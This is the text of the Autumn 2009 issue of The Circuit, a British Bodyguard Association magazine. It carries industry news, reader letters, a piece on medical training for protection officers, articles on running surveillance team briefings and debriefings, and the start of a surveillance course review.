AUTUMN
Circuit
2009 £4.50/$8
The
The Magazine for Security Professionals
Cover: SPORTING STARS – DO THEY REALLY REQUIRE SECURITY? THE ROLE OF FIREARMS IN CLOSE PROTECTION SO YOU WANT TO BE A PENETRATION TESTER PT.2 PLUS: Course Reviews, Finance Advice and Physical Fitness Should it be part of the CP Course
A Quarterly publication from the British Bodyguard Association
We aim to unite and support both trained and aspiring bodyguards worldwide via our membership and information programme. Whether you are a seasoned Security professional, or SPRING just setting out on a new exciting career path, the BBA 2009 will provide you with the most up to date information on current training providers, equipment suppliers, employment vacancies, a message forum and the SUMMER 2009 great networking facility BBA Chat. No other close £4 protection organisation offers so much for so little.
Quarterly Magazine of The British Bodyguard Association
KIDNAP AND RANSOM Hostage Exploitation and Resistance
.50
SURVEILLANCE FOR THE CPO
Quarterly Magazine of The British Bodyguard Association
Anti Surveillance pt. 2
COMMUNICATION Conflict Resolution
Since its initial formation in early 2007, The BBA has grown rapidly - in fact we are probably the fastest growing association of its kind. We are now attracting membership not just from the UK but worldwide. Annual individual membership to the BBA includes: -
LEADERSHIP
How to run a CP team
STARTING OUT Starting out in The Business
Journey to Baghdad
HIGH RISK OPERATIONS HAND TO HAND COMBAT Field Report Damian Buckwell Do martial arts have a role for the modern CPO?
“what the bloody hell am I doing here?” pg6
STARTING OUT AS A CPO Tips for beginners THE TIMES THEY ARE A CHANGING Factors that have changed the Industry EFFECTIVE EMERGENCY Decision-Making for the Team Leader & Security Manager
• Regular updates on job and contract opportunities worldwide So you want to be a penetration tester? 6 page technical guide inside • Daily industry news • Weekly updates on international terrorism and global hot spots • Extensive global networking • Exclusive access to various industry experts • Special offers and discounts on services and products • Use of our logo on your letterheads, business cards and web site (conditions apply) • Personal one-to-one advice with C.V. and job applications • Certificate of membership • Subscription to “The Circuit” Magazine Plus: Can door supervisors make good bodyguards?, Financial answers and Book reviews
Circuit_Mag_02.1.2.indd 1
• BBA Lapel Badge
Personal, Business and Corporate Packages Available
www.the-bba.org.uk The British Bodyguard Association is represented globally in: -
Afghanistan : Australia : Austria : Belize, Brazil : Canada : Cayman Isles : Cyprus : Czech Republic : Denmark : France : Germany : Greece : Hungary : Iraq : Israel : Italy : Jamaica : Latvia : New Zealand : Portugal : Slovakia : South Africa : Spain : Sweden : UK & the USA
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01/07/2009 09:31:29
AUTUMN
2009
CONTENTS � Foreword by Shaun West � ReadersWrites 4] Your Comms to HQ
� OnTheJob 8] Surveillance Briefings 9] Surveillance De-Briefings 12] Surveillance Course Review - Argus Europe 14] Industry Do’s And Dont’s 34] Training Course Review - Icon Services
� HardTalk 16] Q&A - Behind The Bodyguard Industry With Hans Van Beuge 18] The Roll Of Firearms In Executive Protection 19] Back To Basics 20] Sporting Stars Do They Require Security?
22]
23] 24]
Physical Fitness - Should It Be Part Of A CP Course Security Awareness - The Current Climate Sophisticated Adaptability
� TechTalk 26] So you want to be a Penetration Tester Pt.2 � ShopTalk 29] The Private Investigator 32] Common-sense Etiquette & Protocol for Security Personnel � BoyZone Get Your Kit On - Kit Reviews
� Features 25] Financial Advise with Ask Anna 31] BooKlub with Mike Jones 35] Keeping Your Edge with Elijah Shaw
FOREWORD by
Shaun West
Hi Readers Here we are, it’s that time again and I’d like to start by thanking everyone for the overwhelming feedback received for the last issue of the Circuit. On the whole I was happy with how it turned out but thought it could be a little more substantial for a quarterly magazine so we have pulled out all of the stops to get some more content for this issue. Going to print with The Circuit has moved the whole BBA project another step forward and we are now looking forward to our next mini project which will be our first British Bodyguard Association networking meeting which is currently penned in for sometime in December. We anticipate that it will be a pretty low key occasion but I think we will all agree that any networking is good networking and we will endeavour to make it is as interesting and informative as possible. This issue we have articles from various security related areas so we hope that there will be something for everyone! You will also notice that we have increased content from our overseas membership, which gives the magazine some real depth. I’ve even submitted an article myself! New sections this month include; BBA fitness, Member Spotlight, Company in Focus all of which will become regular features in the magazine. This quarter has also seen the introduction of BBA Micro-sites; we design and host your very own website which add to your marketability within the industry! The micro-sites can be simple one page affairs or multi page web sites with e-commerce. You could start off with a basic web site Curriculum Vitae and add to it as your experience expands. All companies have web sites, which act as shop fronts so why shouldn’t you as an operator sell yourself and tell people about what services you can deliver? We have kept the cost of these sites extremely low to allow easy access for all and believe they will go on to become a major success. They are already proving to be extremely popular with several members engaging us already. Our first member to feature in the member spotlight in this issue is Ryan Naish whom has already taken advantage of the service so please check him out at: www.ryannaish.co.uk. As always we’re looking for any relevant articles and pieces, which will be of interest to BBA members and subscribers of the magazine, and as mentioned in the previous issue you don’t have to be the greatest writer on earth if you are submitting an article for The Circuit, as we will give you some direction and feedback on the piece before it actually goes to print. All you need is good subject matter knowledge and a real interest in the industry. Don’t forget, you or your business can add in a short bio at the end of the article along with company logo and contact details. If you wish to advertise or feel you would like to contribute to the next issue of The Circuit magazine please email at the address provided below. The Circuit “The magazine written for the Operator by the Operator!!” Till the next issue……..Stay Safe!!
The Circuit is compiled, edited and published quarterly by: The British Bodyguard Association. www.The-BBA.org.uk :: Info@The-BBA.org.uk ::Tel: 0845 519 2538
Circuit : : 3
Circuit :: ReadersWrites
Your Comms to Hey guys, really pleased to see The Circuit now in print – the pdf is fine when I am away from home but its nice to get my hands on the hard copy when I return. Great effort and looking forward to more! James via e-mail -------------------o--O--o------------------I was not at all impressed with the printed version of The Circuit Magazine, I thought that the standard of the grammar in some of the articles was terrible and some of the stories not at all related to Bodyguarding. Forget it. Brian via e-mail HQ: While we are always keen to receive feedback Brian we do think that on this occasion yours is a little harsh and also incorrect. Yes, some of the grammar was not Oxford English, however we do state that ‘The Circuit is written by the operators for the operators’ and as such there are bound to be some grammatical errors. We do assist those who contribute with their articles and we do proof read but we ourselves are operators and not proof readers! Now as far as some of the stories not being related to BG – yep, 100% correct but not only will a lot of magazines have ‘off topic’ areas we never said the mag was all about BG work? It is called ‘The Circuit’ and that implies all the disciplines within the security industry and those working ‘the circuit’. We certainly will not be ‘forgetting it’ as it is not in our nature. We wish you the very best and hope that you change your opinion of the magazine. -------------------o--O--o------------------As an expired BBA member I was really pleased to receive the printed copy of the mag and after speaking to a few of my
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friends (who are current BBA members) I will be re-joining the association. I have been in the past a bit disillusioned with the various ‘associations’ for security based guys but am impressed with the improvements made by you to the BBA and the introduction of the magazine. We need a voice! Terry – via telephone! HQ: Thank you Terry. Member feedback is absolutely VITAL to the BBA and The Circuit and while we do not think we are the finished article we believe that since we took over on 01/01/09 we have made huge improvements to the service we provide the members, subscribers and readers. -------------------o--O--o------------------I like the magazine – particularly the technical articles as this is my area of the industry and one that is nearly always ignored by the more ‘physical’ side of the business. I will be in touch reference writing an article in the near future. Garry – via e-mail HQ: The industry is so diverse now and the technical aspect needs to be in everyone’s inventory so it is something that we will be ploughing on with. -------------------o--O--o------------------Do you have anything that you like or dislike about The Circuit? We are always looking for feedback so that we may improve the product; all feedback will be taken seriously and actions taken to remedy any points where we feel they are valid and can improve the magazine. We will publish as much or as little of your name as you wish: feedback@circuit-magazine.com
!
10
Things Never to do as a Celebrity Bodyguard. by DERION WILLIAMS 1. Don’t take it upon yourself to drive the tour bus to make a bit of money on the side.
2. Don’t tell your client that she should really skip desert if she wants to be considered for the role she just auditioned for. 3. Ask your Principal if they can introduce you to an attractive relative of theirs you saw at a family dinner. 4. Don’t ask if your client wouldn’t mind holding the curtains on for their performance while you run to the bathroom. 5. Don’t ask your client to give a “Shout-out” to your mom during a radio interview.
6. Don’t tell the client that his mistress looks “way better” than his wife. 7. Shave your company logo in the back of your head as a marketing tool.
8. Follow the Paparazzi home and start taking pictures of them in their back yard as a method of payback. 9. Demand hazard pay to have to put up with bitchy assistants.
10. Let the kids play with your firearm at the Teen Choice Awards.
Circuit :: News
INTERNATIONAL NEWS IN BRIEF USA
Hours after former US President Bill Clinton secured the freeing of two US journalists, current President; Barrack Obama insisted that North Korea should engage in proactive behaviour if it wanted better relations with the USA.
UAE
An arms cargo seized by the UAE was bound for Iran; interestingly the ship was from North Korea. The arms, listed as machine parts, in fact included items such as rocket-propelled grenades. UAE official informed the United Nations who are now believed to be dealing with the matter.
Afghanistan
Predictably, the election in Afghanistan has caused allegations of fraud from almost all quarters! Officials are looking in to nearly 600 allegations of fraud from the August the 20th vote.
Interpol
Interpol has issued an arrest for Hafiz Mohammad Saeed. The international wanted notice was issued over the 2008 Bombay attacks. In the attacks over 150 people were killed.
Russia
A suicide attack in a southern Russian republic has killed 20 people. The bomb, located near a Police station also injured over 100 people including women and children. The republic in question borders Chechnya and has seen a spate of attacks on areas of authority such government buildings but this was the deadliest attack since 2004.
Russia
Russian police in the Dagestan region of the country have killed an AlQaeda terrorist. The killing happened when Police stormed a house on the Chechnya boarder, the man in question is believed an Algerian national. An official made this announcement on TV but with his back to the camera, such is the threat of reprisals in this area of the world
Iraq
In a slightly comical tale, the Iraqi government has requested the return of MiG-21 jet fighters that it sent to the former Yugoslavia in the 1980’s for repairs. Despite the aging nature of the aircraft they would be a significant addition to the Iraq defensive capability. At this time Iraq has no jet fighters but is thought to be in negotiations with an US manufacturer to purchase various airframes.
Iraq
As if Iraq does not have enough to deal with it is now facing increased criminality as crimes escalate. The latest ‘spectacular’ was a bank robbery at a state-owned Bank a raid where the robbers got away with about £3 GBP worth of Iraq dinars. The perpetrators have since been captured and are now likely to hang.
Majorca
A car bomb detonated at the height of the tourist season has caused chaos in Majorca. The device killed two civil guard officers. As a result many of the ports were closed for a short while. The Basque separatist group Eta has been blamed for this and another attack on mainland Spain on the previous day. The blast also came in the same week that Eta was founded some 50 years ago.
UK
Iran’s religious leader has named the United Kingdom’s government as Iran’s most treacherous enemy! This came on the back of the massive protests experienced in Iran after the recent elections.
UK
A taser stun gun has been deployed and a man disabled by it at Gatwick Airport after he was spotted carrying a handgun. Police in the south terminal building stopped the man in question whilst on a routine patrol.
UK
In the city of London a jewel heist was captured on video by a brave member of the public! The footage shows the robbers in New Bond Street outside the Graff jewellery shop. 43 jewels and watches were taken by the robbers who were armed with handguns; they were believed to be assisted by two or more accomplices.
THE SCAMMERS ARE LOOKING AT YOU! by KARL THORNTON Executive protection is seeing an explosion (pardon the pun) around the world. Unfortunately this also opens the doors to the unscrupulous operators that are there to SCAM. With associations like the BBA bodyguards have been able to promote their professional image and reputation. Not just for front line work, but for all associated areas.
The SCAMMERS are looking for you. As an executive protection specialist for one of Australia’s elite bodyguard companies 538 Pty Ltd, I am not shocked but concerned about the ever increasing rise in job advertisements that are set to SCAM. Offering great job opportunities in a growing industry, but at a price. Yes charging you to work for them. Not that every job eventuates. If you see a vacancy for a position, and find that you need to pay for training first, or pay for your own accommodation and or travel expenses, WATCH OUT. I am not going to go into great detail on the different scams as there is abundant information now available on the internet covering these scams. However I would like to add, that if at any stage a company requires you to outlay any amount of your hard earned cash for a position within their organization. DON’T. There is a growth worldwide for our services. So when applying for a vacancy ask as many questions as possible then ask more. Make sure you have a contact name and number, business registration information, and security business licence information. It is cheaper to call an International number for verification than to send credit card payments that offer you nothing other than a certificate by way of a bank statement with charges.
I would also (unless you are wanting to move internationally for life style choices) suggest searching for job opportunities in your state or local area. If a company is recruiting for International EP specialists, the question has to be asked. Why not use home grown? If they are after some skill they cannot find home grown, then they should be actively seeking you, not you seeking them.
Circuit : : 5
Circuit :: News
bomber released British security contractor Lockerbie Abdelbaset Ali al-Megrahi, 57, the man convicted of the Lockerbie bombing has been flown home to Libya after kills colleagues the Scottish Government released home on compassionate Danny Fitzsimons, a British Security contractor
working in Iraq, is accused of shooting dead two of his colleagues after an argument thought to be fuelled by alcohol. Fitzsimons could be the first westerner to face Iraqi justice and could receive the death penalty if found guilty. Fitzsimons, the two alleged victims, fellow Briton Paul McGuigan and Australian Darren Hoare all worked for British security company, Armor Group which is now owned by G4S. Fitzsimons is also alleged to have wounded an Iraqi as he tried to flee the scene in Baghdad’s international Green Zone.
This must open up questions as to the suitability of those that are working in the world’s hot spots and how rigorous the selection process is. One thing is certain; the private security companies themselves will be rigorously reviewing their selection criteria to ensure that what they have in place is up to scratch. Questions will also be asked as to the availability of weapons to the contractors when not on duty and also the consumption of alcohol. We now have to wonder how much longer westerners can continue to operate in Iraq now that control of the country has been handed back to the Iraq’s themselves
SIA [UK] gets new chief executive.
Bill Butler joins the Security Industry Authority as its new Chief Executive. Having previously been Director of Corporate Services at the gambling Commission Bill has also held a position as finance lead on a team that established the Healthcare Commission along with several other senior roles. The BBA wished Bill the very best in his new role and hopes that this can lead to an improvement in the way the SIA is viewed by many within our industry.
Licensing for UK PI’s Postponed…………
Is it or isn’t it? That is the question! Well for now at least it appears that UK private detectives will now not have to be licensed [by the SIA] until 2012 at the earliest. Is this postponement a good thing? Well, in the opinion of the BBA yes. While we are all for regulation leading to improvements in standards and improved perception by those outside the industry, it must not be implemented until the SIA is 100% certain that they have got it right. Since the introduction of licensing in the Close Protection sector there has been nothing but discord from all quarters and this cannot be aloud to happen in the PI sector or once again people will question why the SIA is here and what good does it do us?
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grounds. Megrahi was jailed in 2001 for the 1988 bombing which claimed 270 lives including 189 American citizens.
The news of the release of Megrahi has not been received well on either side of the Atlantic with families of the victims understandably angered by the decision.
This decision must ask questions of the Scottish justice system. If a person is convicted of a crime, particularly such a hideous one then he should serve out his sentence or it makes a mockery of the system that sentenced him. Why should we afford those that have chosen to harm us a level of compassion that they did not offer us? This will do nothing but harm UK/US relations and although we can see the benefit in bringing in a ‘rogue’ state, at what cost must this be done? Surely, this is a step too far and one that the current administration both in London and Edinburgh could well regret at the next election.
Guinea
Captain Moussa Dadis Camara is now saying that if he wants to stand for election then no one can stop him. Camara emerged as the leader of a group of army officers who seized power in a bloodless coup in December 2008, after the death of President Lansana Conte. Guinea’s self-declared president has been called on by supporters to be allowed to continue on in office despite saying that he would not stand for the position. Opposition groups have now mounted a campaign insisting that he should not stand and that if he does the public should not vote for him. Elections are expected in January 2010.
Kenya
British born Bruce Bridges, the 30 year old son of Campell Bridges [71] witnessed his farther murdered by an armed gang using spears and machetes. Bruce Bridges tried to fight off the gang and succeeded in getting his farther to hospital but Mr Bridges snr died of his wounds. The attack happened on the 11th August as the Campell’s toured their property in a southern Kenyan town. Despite having guards with them the ‘posse’ of attackers were initially too strong for the Campells. Mr Campell is appealing to both US and UK governments to help catch his father’s killers.
South Africa
After protesting and clashing with Police, nearly 700 South African defence soldiers have been issued with letters of dismissal. On the 26th August the troops left their barracks and marched on the Union Building seeking a 30% pay rise and increased living conditions.
Circuit :: Feature
The Importance of ‘Relevant’ Medical Training in Close Protection Dr Malcolm Russell, is Managing Director to Prometheus Medical Ltd, which provides a range of services for this industry, reducing liability and long-term costs. Examples include tactical medical training; bespoke tactical and covert medical equipment; deployable medical capability; consultancy; and the provision of the medical component of crisis management.
The Security Industry Authority (SIA) currently requires all those who apply for a licence to be in possession of a First Aid at Work qualification or equivalent. Both the First Aid at Work and the First Person on Scene (FPOS) qualification are excellent and well established qualifications. They provide workers with sound basic knowledge to deal with a wide variety of accidents and illnesses in the workplace, from falls from ladders, to the collapsed patient with a heart attack or epileptic seizure. There are approximately 1600 providers of this course, most of which are geared to the UK workplace. Consider the following scenario: A roadside improvised explosive device (IED) detonates and leaves three surviving casualties. What are the safety issues? Which casualty should be treated first? The one with the bleeding
problem or the one with the airway problem? Does ‘ABC’ apply in all circumstances? Where do tourniquets fit in with modern practice? What about the so-called haemostatic agents? Do they help or harm? Why is there almost no role for intravenous fluids in the trauma casualty? These questions may not be answered appropriately on a course designed for the modern workplace in a peaceful, developed country. The reason is simple. The ‘workplace’ in the PSC context is closer to the battlefield, and combat casualty care needs to be addressed specifically. Even the CPO operating in the UK with its own threats may be faced with very different injury patterns to those taught on a ordinary course. Threats in this environment include road traffic collisions (RTCs), trauma from other
accidents, medical emergencies from illness and trauma from hostile actions. It is important that CPOs know how to make the most of the treatment windows available; the ‘Golden Hour’ – where intervention can make a significant difference and the ‘Platinum 10 Minutes’, where intervention can make the most difference. Equally, their training should include the relevant phases of care; Safety and Care under Fire (CUF) for immediate intervention, Tactical Field Care for initial resuscitation and Casualty Packaging, Handover and Evacuation.
“
It is important that CPOs know how to make the most of the treatment windows available; the ‘Golden Hour’ – where intervention can make a significant difference and the ‘Platinum 10 Minutes’, where intervention can make the most difference.
”
With a duty of care and an increasingly litigious environment, the benefits of introducing focused, tailor-made medical support to high risk operations is being accepted by a growing number of companies as a mandatory approach to field operations. But more importantly, if we choose to operate in and, indeed, define our workplace as the ‘hostile environment’ then shouldn’t we, as individuals and an industry as a whole, be responsible for operating as near to best practice as possible? Medical training should no longer be the ‘tick in the box’ that it once was, but is an essential and rewarding part of every CPO’s armamentarium.
To find out more about Prometheus’ products and courses, such as the VIPER™ (VIP Emergency Responder) course, visit: www.prometheusmed.com.
Circuit : : 7
Circuit :: OnTheJob
SURVEILLANCE BRIEFINGS by PETER JENKINS
M
ost briefings in the commercial surveillance world are carried out by email followed by an informal chat at the rendezvous point (RV) the night before or on the morning of the surveillance. Especially if are in small teams. If the surveillance is more complex, has a large team or has a number of tasks, a more formal briefing may be required to be given. We train a number of surveillance teams who always conduct formal briefings which is good, it ensures that all of the bases are covered. In addition, many teams at government or enforcement level carry out surveillance ‘two up’ or in other words, the vehicle is crewed by two persons rather than single crewed (one up). We use a simple system to conduct a briefing and it can be used for both quick briefings as well as long complicated scenarios. The briefing is separated into particular phases, each are explained below and a surveillance briefing should take no longer than 15 or 20 minutes. If you are responsible for the briefing, take charge of the team, instil order as it will reflect on you if the plan goes wrong.
Prelims
Prior to the actual brief, the team needs to be seated in a particular order in the briefing room, they should be seated in car teams so that you can refer to one call sign collectively rather than having to keep asking ‘who’s in call sign Golf’ and so that they can map share if necessary. It is worth putting up the crew list on a wall or flip chart so that everyone knows at the outset who is crewed with who and in what vehicle.
Call Sign Vehicle
Crew
Responsibility/OIC
Golf
Blue Vectra
Dan & Chris
Dan
Hotel
Green Golf
Claire & Ryan
2i/c Claire
Victor
White Fiesta Van Paul
Loggist
Tell the team they need to take notes and hand out any relevant documents or photographs. When you have everyone’s attention the following format can be given Area; Situation; Tasks; Execution; Administration; Command & Communications For those with a military background, you will note that this format is similar to a NATO set of briefing orders.
Area
In General, the target area is described so that the team get an initial feel of what the area is like that they will be operating in and the extent of the area if it is known. This may also include briefing of any areas that are hostile, or areas to avoid. In Detail, the actual start point, such as the target house is described detailing the property, any escape routes from the building, by pathway or by road. To assist with the descriptions of the area, photographs maps and sketches are always worth a thousand words and so an aerial photograph or map image together with any photos taken on the recce is always useful.
Situation
This is where you provide background information about the target (and associates) which includes a description and his history. Provide the scenario of why you intend putting the target under surveillance and what the overall general aims are. Details of the following should be provided.
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“Briefed here are the details of how we actually carry out the plan in detail together with timings”
Tasks
Described here are the aims or tasks of the surveillance, what you actually want the team to achieve. It may be to establish whether the target is visiting a certain address or to obtain whether the target is meeting with another person and to obtain video footage of the meeting.
Execution Of Task (The Plan)
In this phase we describe how we are actually going to conduct the surveillance, especially at the start or trigger phase. This is the big plan! The execution phase is given firstly as a general outline and then in more detail and is likely to be split into a number of separate phases.
Execution General Outline
This operation is to be carried out in 7 phases to put the target under surveillance. We will move from here to the RV, once all set we will move to the target area, insert the van as the trigger and take up our plot up positions. Put the target under surveillance and lift off on completion and head back to the office for a debrief.
Execution In Detail
Briefed here are the details of how we actually carry out the plan in detail together with timings. The example below shows this in detail. Phase one:
preparation for moving out
Phase two:
move to the target area
Circuit :: OnTheJob
“
Identify where the nearest accident and emergency hospital is located and point it out on the map during the brief
”
Phase three:
insertion of the trigger vehicle
Phase four:
the stake out, where call signs will cover
Phase five:
the surveillance
Phase six:
‘lift off’ and return to base
Phase seven:
Debrief
“
the team needs to be seated in a particular order in the briefing room, they should be seated in car teams so that you can refer to one call sign collectively
”
Rehearsals: At the end of the brief, talk through on the board (using model cars if necessary), all the scenarios that can happen when the target goes mobile in order to put the plan into perspective.
In the following article, we will look at the way a surveillance de-brief is conducted.
Timings: Timings for briefings, rehearsals, moving out, being set up, finish time Routes: To the RV & to the target area ERV: Where the Emergency RV is to be located or designated whilst on the ground if moving.
Actions On: Actions to be carried out in the event of certain events and brief what to do in each circumstance. Compromises – hard & soft Breakdowns Accidents Target no shows Secondary targets Administration Special Equipment: such as tracking devices or night vision scopes Special Vehicles: such as the observation van Safe Haven/Hospital: Identify where the nearest accident and emergency hospital is located and point it out on the map during the brief. Command & Communications: Commander: who is in overall command of the team and his or her second in command or 2i/c. The 2i/c should be in a different vehicle from the team leader. Comms Channel: Brief which is the primary radio channel and which is the secondary in the event of someone else being on the same frequency. All mobile phone numbers should be exchanged and stored on speed dial.
Questions: On completion, you should then ask for any questions.
This ensures that anyone not fully understanding the brief has their time to clarify matters. Once done, do not be afraid to ask questions to the team of where they are meant to be, what their task is and so on.
“To assist with the descriptions of the area, photographs maps and sketches are always worth a thousand words”
Circuit : : 9
Circuit :: OnTheJob
SURVEILLANCE DE-BRIEFINGS by PETER JENKINS
T
he team debrief is a very important part of the surveillance. It can be an informal affair over a drink in a café before the team disperses, or more formal back at the office, especially when large teams, complex surveillance or long term surveillance is being conducted. The debrief is divided into three logical phases, which we will examine in turn. o Intelligence Debrief
o Operational Debrief o Exposure Levels
Intelligence Debrief This first phase deals with the information or intelligence that was obtained about the target. This is where the surveillance logs are compiled to provide a master log of events which will be reported to the client. The debrief should be chaired by the team leader or loggist. This part of the debrief should concentrate on: • Timings • Places • Routes • Stops • Activity • Meetings • Descriptions Remember, only what the target did should be discussed a this stage, this is very important as the client may be present. You have to be very careful of team members chipping in and adding what they did e.g. ‘Well I could see the target but a woman approached me and started asking what I was doing so I had to move to another position and then my radio went down...etc’. It is not important at this stage, intelligence only. You may have been working a long day and all you want to do is get the debrief over and done with quickly to get the report to the client or so that you can finish for the day. If you allow members to side track the debrief you will never finish. Once the intelligence debrief is complete and logs, videos and photographs are done with, you can then move onto the next phase.
Operational Debrief
out of, then this should be discussed for all to benefit. This part of the debrief should not get personal but constructive. We all make mistakes from time to time and the person pointing the finger at one member of the team should keep it in mind that it may be them that makes the next mistake. Don’t let it get personal. What we teach and practise is that any comments made at this stage are always confined to the debrief and that once proceedings are complete, we do not carry it on afterwards. Be aware of this debrief getting out of control and going on for hours on end. In training, the easiest way to control this is to ask for each member of the team to provide one good point and one bad point about the surveillance. Operationally, each person is set a 5 minute time limit to say what he has to and then finish. Remember: Intelligence is what the target did; Operational is what the team did. Once the operational debrief is out of the way, we can get on with the next which is equally important.
Exposure Levels Every time you go out on a surveillance give yourself 10 ‘lives’ (or ‘heat states’ as they are often referred to). Now every time that you have any exposure to the target, knock off a life (or two). For instance, if the target goes into a hotel and you decide to go close in order to overhear what is being said at the reception, you may want to knock off one or two lives, as you have been in close and had some exposure to the target. You may now be down to a score of 9 or 8 but only if they have seen you. Next, the target gets on a bus and you are the only person who is close enough to get on with him, and you make the decision to do so in order to keep control. Hopefully you can sit behind the target so you are not exposed too much. The target gets off and another operator takes over and your own personal ‘heat states’ have now dropped down to a 6 or 7 for the exposure that you have just had. At the debrief, each member of the team is asked for their heat states and this is recorded by the team leader. It may also be wise at this stage to explain why you have reached your number.
This is the time for the team to discuss what went wrong, what went right or was good and how you can improve or make any changes to the surveillance plan. It is also the time to be self critical and admit to any mistakes made so they are not made by you or anyone else, it makes a good learning place for all.
Only you can tell how much exposure that you have had and if you are down to a 4 or 5, you should be asking yourself whether you would be safe working on the same target again the following day. Be careful of being over paranoid or too cautious as we often tend to overestimate our heat states (especially when new to surveillance). Personally, I always calculate a figure and then add 1 back on.
If a team member identifies certain areas to avoid, (maybe due to a third party), or finds a good position to ‘lay up’, or experiences a really bad road junction which is hard to get
During training courses, the class often puts an unknown target under surveillance for a day. The target does not know any of the class and the class have never seen the target
10 : : Circuit
Circuit :: OnTheJob
INTERNATIONAL NEWS IN BRIEF Venezuela before. This is good practise in order to establish what your heat states really are and to fully understand how much you can get away with in surveillance. After the exercise, the target is debriefed away from the class and asked who he saw and why. Quite often he will mention people who are nothing to do with the surveillance team, some he may be unsure of and others will notice from the team. If he does, it is always down to multiple sightings or un-natural behaviour. It is surprising how many students give themselves a score of 4 or a 5 and afterwards the target reveals that he did not suspect them as being surveillance at all. As well as giving you a personal score, also do the same with the vehicles. If for some reason, call sign Golf has had a lot of exposure (it may have had a few long follows without any cover), then also give it a score out of 10. As above, if it is 4 or 5, you should consider changing vehicles for the next day or let some time lapse before you continue the surveillance with the same vehicle. If you are a team leader or manager and working a number of the same operators on a regular basis, it may be worth considering keeping a ‘Heat States Book’. If you are working in law enforcement or the military on long term operations against regular targets, it may be a consideration. Every time a surveillance operation is completed, list the operators and their scores in a book. Over a period of time it will tell you a number of things; if an operator is constantly coming back with scores of 9 or 10, it may indicate that he or she is hanging back all of the time without risking much and letting the others do all of the work. Conversely, if someone is constantly coming back with a low score of say 3 or 5, you have to ask: Are they too keen and being overzealous by going in hard all of the time? Do they have to go in hard and close because the others are hanging back? Are they going in hard and close because they are too stupid and do not really appreciates the risks? Over time, you will build up a picture of how your team operates and performs, this is why our term ‘Loss v Gain’ is so important. Golden Rule: Once the debrief is finished, it is finished. Sometimes people make mistakes and they can make big ones, which result in a compromise or an accident. At a debrief this ‘finger pointing’ and blaming can get very personal but we never let it carry on when we leave the debrief as it generates animosity. If you are blaming someone today, it will be you that screws up the next…
President Hugo Chavez has accused Colombia of carrying out a military incursion into Venezuela territory. President Chavez clearly sees this as provocation while Columbia denies the incursion took place. Meanwhile South American leaders are gathering to discuss the Columbia’s recent accord with the United States to allow their troops to use Columbian bases inside the country.
Mexico
There has been a major customs shake up for Mexico with nearly 2000 inspectors being placed at various strategic areas in an attempt to cut down on corruption. The new group are replacing previous agents that were ‘let go’ after their contracts ran out. Over recent months the Mexican authorities have received praise from the US administration for the attempts being made against the drug cartels. Only time will tell if this has the desired impact .
Korea
Tensions rise between North & South Korea South Korean sources have said that a North Korean patrol boat has towed away a South Korean fishing boat. It is thought that the boat strayed beyond the nautical boarder after trouble with its navigation system. South Korea has requested that the boat and crew be returned as soon as possible. This could hardly have come at a worse time as relationships between the two Korea’s are heightened by the North’s continued nuclear development programme.
Australia
A suicide terror plot uncovered has been uncovered. 4 men, thought to be plotting a suicide attack on one of Australia’s military bases have been arrested. It appears that the aim of the men was to get in to a base and then kill as many personnel as they could by using automatic weapons and then turning them on themselves. The discovering of this plan shows that terrorism is alive and well in Australia and is just the latest in a long line of proposed high profile terrorist attacks. It is thought that the continued presence of the Australian military in Iraq and Afghanistan is the root cause of such planned attacks.
Saudi Arabia
Forty-four al Qaeda suspects have been arrested in Saudi Arabia.
Circuit : : 11
Circuit :: OnTheJob
SURVEILLANCE COURSE REVIEW .....Argus Europe
For everyone feeling the pinch, there are other ways to earn a living besides CP work
A
by MAX WILLIAMSON
s some spectrums of industry experience a down turn in sales, there are other areas that will see a large increase in their work. One such industry is surveillance. With unemployment at an all time high and people struggling to make ends meet, there are those who resort to theft and fraud. This is where the surveillance operator comes in to play. There are a huge number of insurance companies who will currently be bombarded by claims, for a variety of different reasons. Some of these claims will be totally genuine, but for those that the insurance company deem dubious, they may appoint a company to carry out surveillance on the claimant to assess the legitimacy of the claim. The jobs are vastly varying, and sometimes very interesting. Any good CP operator should have some experience of surveillance, or at least be surveillance aware. So with the economy in nose dive and that all elusive CP contract, still out of reach, why not consider expanding your skills, or enhancing the skills you already have by undertaking some surveillance training. As a good CP operative, it is imperative you have good surveillance skills. If you cannot identify the threat then how can you protect against it? Some of the more competent and experienced CP training providers include this within their CP courses, many may not. Recognising that your principal is the subject of surveillance, requires many of the same skills that you need to be an effective surveillance operator. These skills can be honed and improved by undertaking some additional training.
12 : : Circuit
I have been carrying out surveillance work for a variety of different companies, throughout the UK. I had already had some excellent surveillance training which was conducted on my CP course, but I knew that in order to get on in the industry I really needed to step my game up a level. There are a variety of different surveillance courses on the market, all varying in cost. To me the most important thing in a training provider for this type of course, is their experience, as I firmly believe that you are only as good as the training you receive. I chose to carry out my Surveillance Course with Argus Europe as I have worked with both Brian Tough QGM and Nick McCarthy (who run Argus Europe)
before. The course is a BTEC Level 3 in Advanced Surveillance. I knew from working with them, that with their accumulative experience, (which is a staggering amount) that I would get the best training possible. This is despite how demanding I knew it would be!!! Brian Tough QGM has been involved in surveillance both military and commercial for over three decades, and his level of skill and knowledge is astonishing. Nick McCarthy also has a military background and has been working in commercial surveillance since he left the Parachute Regiment and again has a wealth of experience. The combination of Brian and Nick seems to work a bit like “ying
- Kitted out with the tools of the trade we were ready to start our surveillance
Circuit :: OnTheJob and yang”. It is a strange combination which seems to balance very well. It was a sunny Thursday night and I made my way to County Durham. Brian accommodates the course in his own house, which is extremely comfortable and it’s a definite improvement on an impersonal travel lodge. I had been sent some pre course learning and a DVD, which I had studiously pored over before attending the course, so I was all set. I met all the other guys on the course and we got acquainted over a few beers. The next morning the course started in earnest, with some briefings in the class room. We were then tasked with taking out the surveillance cars and familiarising ourselves with the areas in which we will be operating. Over the course of the next two days we are gradually introduced to the various tools of the trade, including covert radio kits, covert filming devices, and the various different surveillance vehicles and their applications. Everyone is acquainted with the voice procedure used over the vhf radios, and are given ample opportunity to observe Brian and Nick conducting surveillance. This step by step approach seemed to work very well. There were people of various backgrounds on my course, and this allowed people to learn at their own pace. Once we all had
